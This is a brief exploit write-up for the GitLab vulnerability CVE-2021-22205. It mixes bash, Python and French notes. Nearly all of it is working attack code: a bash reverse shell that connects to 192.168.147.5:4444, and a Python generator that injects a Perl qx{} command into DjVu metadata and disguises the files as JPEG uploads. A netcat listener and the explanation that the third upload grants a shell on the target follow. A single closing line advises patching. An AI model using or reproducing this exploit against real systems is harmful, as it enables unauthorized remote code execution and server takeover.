
CVE-2021-22205-getshell
CVE-2021-22205-getshell
echo 'bash -i >& /dev/tcp/192.168.147.5/4444 0>&1' > /tmp/1.sh
chmod +x /tmp/1.sh
/bin/bash /tmp/1.sh
import os
payloads=[
"echo 'bash -i >& /dev/tcp/192.168.147.5/4444 0>&1' > /tmp/1.sh",
"chmod +x /tmp/1.sh",
"/bin/bash /tmp/1.sh",
]
index=1000
for payload in payloads:
rce_payload = '(metadata\n\t(Copyright "\\\n" . qx{{{0}}} . \\\n" b ") )\n'.format(payload).encode()
with open("rce-{0}.txt".format(index), "wb") as text_file:
text_file.write(rce_payload)
text_file.close()
os.system("./djvumake rce-{0}.djvu INFO=0,0 BGjp=/dev/null ANTa=rce-{1}.txt && mv rce-{2}.djvu rce-{3}.jpg".format(index,index,index,index))
index=index+1
nv -lv 192.168.147.5 4444
Après avoir téléversé les trois images, la troisième exécute la commande du reverse shell et permet d'obtenir les droits sur la machine cible.
Mettez à niveau GitLab vers la dernière version de sécurité dès que possible.